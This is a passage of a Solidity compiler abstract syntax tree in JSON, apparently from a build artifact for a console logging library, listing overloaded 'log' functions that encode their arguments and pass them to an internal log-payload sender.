\"log(uint,address,uint,bool)\""},"value":"log(uint,address,uint,bool)"},{"id":19013,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19000,"src":"28073:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19014,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19002,"src":"28077:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19015,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19004,"src":"28081:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19016,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19006,"src":"28085:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_19f67369d42bc0582d07ae744348ad46b79a6c16f354e3d3fb3c6bff2ecfa9f8","typeString":"literal_string \"log(uint,address,uint,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19010,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28018:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19011,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28022:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28018:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28018:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19009,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"28002:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19018,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28002:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19019,"nodeType":"ExpressionStatement","src":"28002:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27935:3:14","parameters":{"id":19007,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19000,"mutability":"mutable","name":"p0","nameLocation":"27944:2:14","nodeType":"VariableDeclaration","scope":19021,"src":"27939:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18999,"name":"uint","nodeType":"ElementaryTypeName","src":"27939:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19002,"mutability":"mutable","name":"p1","nameLocation":"27956:2:14","nodeType":"VariableDeclaration","scope":19021,"src":"27948:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19001,"name":"address","nodeType":"ElementaryTypeName","src":"27948:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19004,"mutability":"mutable","name":"p2","nameLocation":"27965:2:14","nodeType":"VariableDeclaration","scope":19021,"src":"27960:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19003,"name":"uint","nodeType":"ElementaryTypeName","src":"27960:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19006,"mutability":"mutable","name":"p3","nameLocation":"27974:2:14","nodeType":"VariableDeclaration","scope":19021,"src":"27969:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19005,"name":"bool","nodeType":"ElementaryTypeName","src":"27969:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27938:39:14"},"returnParameters":{"id":19008,"nodeType":"ParameterList","parameters":[],"src":"27992:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19044,"nodeType":"FunctionDefinition","src":"28102:176:14","nodes":[],"body":{"id":19043,"nodeType":"Block","src":"28171:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c75696e742c6164647265737329","id":19035,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28221:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_fdb2ecd415c75df8f66285a054607fa1335126fb1d8930dfc21744a3de7298e3","typeString":"literal_string \"log(uint,address,uint,address)\""},"value":"log(uint,address,uint,address)"},{"id":19036,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19023,"src":"28255:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19037,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19025,"src":"28259:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19038,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19027,"src":"28263:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19039,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19029,"src":"28267:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fdb2ecd415c75df8f66285a054607fa1335126fb1d8930dfc21744a3de7298e3","typeString":"literal_string \"log(uint,address,uint,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19033,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28197:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19034,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28201:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28197:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28197:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19032,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"28181:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28181:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19042,"nodeType":"ExpressionStatement","src":"28181:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28111:3:14","parameters":{"id":19030,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19023,"mutability":"mutable","name":"p0","nameLocation":"28120:2:14","nodeType":"VariableDeclaration","scope":19044,"src":"28115:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19022,"name":"uint","nodeType":"ElementaryTypeName","src":"28115:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19025,"mutability":"mutable","name":"p1","nameLocation":"28132:2:14","nodeType":"VariableDeclaration","scope":19044,"src":"28124:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19024,"name":"address","nodeType":"ElementaryTypeName","src":"28124:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19027,"mutability":"mutable","name":"p2","nameLocation":"28141:2:14","nodeType":"VariableDeclaration","scope":19044,"src":"28136:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19026,"name":"uint","nodeType":"ElementaryTypeName","src":"28136:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19029,"mutability":"mutable","name":"p3","nameLocation":"28153:2:14","nodeType":"VariableDeclaration","scope":19044,"src":"28145:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19028,"name":"address","nodeType":"ElementaryTypeName","src":"28145:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"28114:42:14"},"returnParameters":{"id":19031,"nodeType":"ParameterList","parameters":[],"src":"28171:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19067,"nodeType":"FunctionDefinition","src":"28284:181:14","nodes":[],"body":{"id":19066,"nodeType":"Block","src":"28359:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c737472696e672c75696e7429","id":19058,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28409:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a0c414e8ba2ea65b865dd0bf68b2357e81261b47f237c68a4a8a63051bbef2eb","typeString":"literal_string \"log(uint,address,string,uint)\""},"value":"log(uint,address,string,uint)"},{"id":19059,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19046,"src":"28442:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19060,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19048,"src":"28446:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19061,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19050,"src":"28450:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19062,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19052,"src":"28454:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a0c414e8ba2ea65b865dd0bf68b2357e81261b47f237c68a4a8a63051bbef2eb","typeString":"literal_string \"log(uint,address,string,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":19056,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28385:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19057,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28389:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28385:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28385:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19055,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"28369:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19064,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28369:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19065,"nodeType":"ExpressionStatement","src":"28369:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28293:3:14","parameters":{"id":19053,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19046,"mutability":"mutable","name":"p0","nameLocation":"28302:2:14","nodeType":"VariableDeclaration","scope":19067,"src":"28297:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19045,"name":"uint","nodeType":"ElementaryTypeName","src":"28297:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19048,"mutability":"mutable","name":"p1","nameLocation":"28314:2:14","nodeType":"VariableDeclaration","scope":19067,"src":"28306:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19047,"name":"address","nodeType":"ElementaryTypeName","src":"28306:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19050,"mutability":"mutable","name":"p2","nameLocation":"28332:2:14","nodeType":"VariableDeclaration","scope":19067,"src":"28318:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19049,"name":"string","nodeType":"ElementaryTypeName","src":"28318:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19052,"mutability":"mutable","name":"p3","nameLocation":"28341:2:14","nodeType":"VariableDeclaration","scope":19067,"src":"28336:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19051,"name":"uint","nodeType":"ElementaryTypeName","src":"28336:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"28296:48:14"},"returnParameters":{"id":19054,"nodeType":"ParameterList","parameters":[],"src":"28359:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19090,"nodeType":"FunctionDefinition","src":"28471:192:14","nodes":[],"body":{"id":19089,"nodeType":"Block","src":"28555:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c737472696e672c737472696e6729","id":19081,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28605:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8d778624e1d83269ce0415864bb54677b540f778c6b8503cf9035bc7517326f1","typeString":"literal_string \"log(uint,address,string,string)\""},"value":"log(uint,address,string,string)"},{"id":19082,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19069,"src":"28640:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19083,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19071,"src":"28644:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19084,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19073,"src":"28648:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19085,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19075,"src":"28652:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8d778624e1d83269ce0415864bb54677b540f778c6b8503cf9035bc7517326f1","typeString":"literal_string \"log(uint,address,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":19079,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28581:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19080,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28585:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28581:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28581:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19078,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"28565:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28565:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19088,"nodeType":"ExpressionStatement","src":"28565:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28480:3:14","parameters":{"id":19076,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19069,"mutability":"mutable","name":"p0","nameLocation":"28489:2:14","nodeType":"VariableDeclaration","scope":19090,"src":"28484:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19068,"name":"uint","nodeType":"ElementaryTypeName","src":"28484:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19071,"mutability":"mutable","name":"p1","nameLocation":"28501:2:14","nodeType":"VariableDeclaration","scope":19090,"src":"28493:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19070,"name":"address","nodeType":"ElementaryTypeName","src":"28493:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19073,"mutability":"mutable","name":"p2","nameLocation":"28519:2:14","nodeType":"VariableDeclaration","scope":19090,"src":"28505:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19072,"name":"string","nodeType":"ElementaryTypeName","src":"28505:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19075,"mutability":"mutable","name":"p3","nameLocation":"28537:2:14","nodeType":"VariableDeclaration","scope":19090,"src":"28523:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19074,"name":"string","nodeType":"ElementaryTypeName","src":"28523:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"28483:57:14"},"returnParameters":{"id":19077,"nodeType":"ParameterList","parameters":[],"src":"28555:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19113,"nodeType":"FunctionDefinition","src":"28669:181:14","nodes":[],"body":{"id":19112,"nodeType":"Block","src":"28744:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c737472696e672c626f6f6c29","id":19104,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28794:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_22a479a660b74b7598155f369ed227a5a93527fbdb04ff6f78fbf35fa23aacbf","typeString":"literal_string \"log(uint,address,string,bool)\""},"value":"log(uint,address,string,bool)"},{"id":19105,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19092,"src":"28827:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19106,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19094,"src":"28831:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19107,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19096,"src":"28835:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19108,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19098,"src":"28839:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_22a479a660b74b7598155f369ed227a5a93527fbdb04ff6f78fbf35fa23aacbf","typeString":"literal_string \"log(uint,address,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":19102,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28770:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19103,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28774:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28770:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28770:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19101,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"28754:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":19110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28754:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":19111,"nodeType":"ExpressionStatement","src":"28754:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"28678:3:14","parameters":{"id":19099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":19092,"mutability":"mutable","name":"p0","nameLocation":"28687:2:14","nodeType":"VariableDeclaration","scope":19113,"src":"28682:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":19091,"name":"uint","nodeType":"ElementaryTypeName","src":"28682:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":19094,"mutability":"mutable","name":"p1","nameLocation":"28699:2:14","nodeType":"VariableDeclaration","scope":19113,"src":"28691:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":19093,"name":"address","nodeType":"ElementaryTypeName","src":"28691:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":19096,"mutability":"mutable","name":"p2","nameLocation":"28717:2:14","nodeType":"VariableDeclaration","scope":19113,"src":"28703:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":19095,"name":"string","nodeType":"ElementaryTypeName","src":"28703:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":19098,"mutability":"mutable","name":"p3","nameLocation":"28726:2:14","nodeType":"VariableDeclaration","scope":19113,"src":"28721:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":19097,"name":"bool","nodeType":"ElementaryTypeName","src":"28721:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"28681:48:14"},"returnParameters":{"id":19100,"nodeType":"ParameterList","parameters":[],"src":"28744:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19136,"nodeType":"FunctionDefinition","src":"28856:187:14","nodes":[],"body":{"id":19135,"nodeType":"Block","src":"28934:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c737472696e672c6164647265737329","id":19127,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28984:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_cbe58efddc067d74914c3479914810966ae688ac66ca2bbcae69cd9d0395796f","typeString":"literal_string \"log(uint,address,string,address)\""},"value":"log(uint,address,string,address)"},{"id":19128,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19115,"src":"29020:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":19129,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19117,"src":"29024:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":19130,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19119,"src":"29028:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":19131,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":19121,"src":"29032:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cbe58efddc067d74914c3479914810966ae688ac66ca2bbcae69cd9d0395796f","typeString":"literal_string \"log(uint,address,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":19125,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28960:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":19126,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28964:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"28960:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":19132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28960:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":19124,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"28944:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 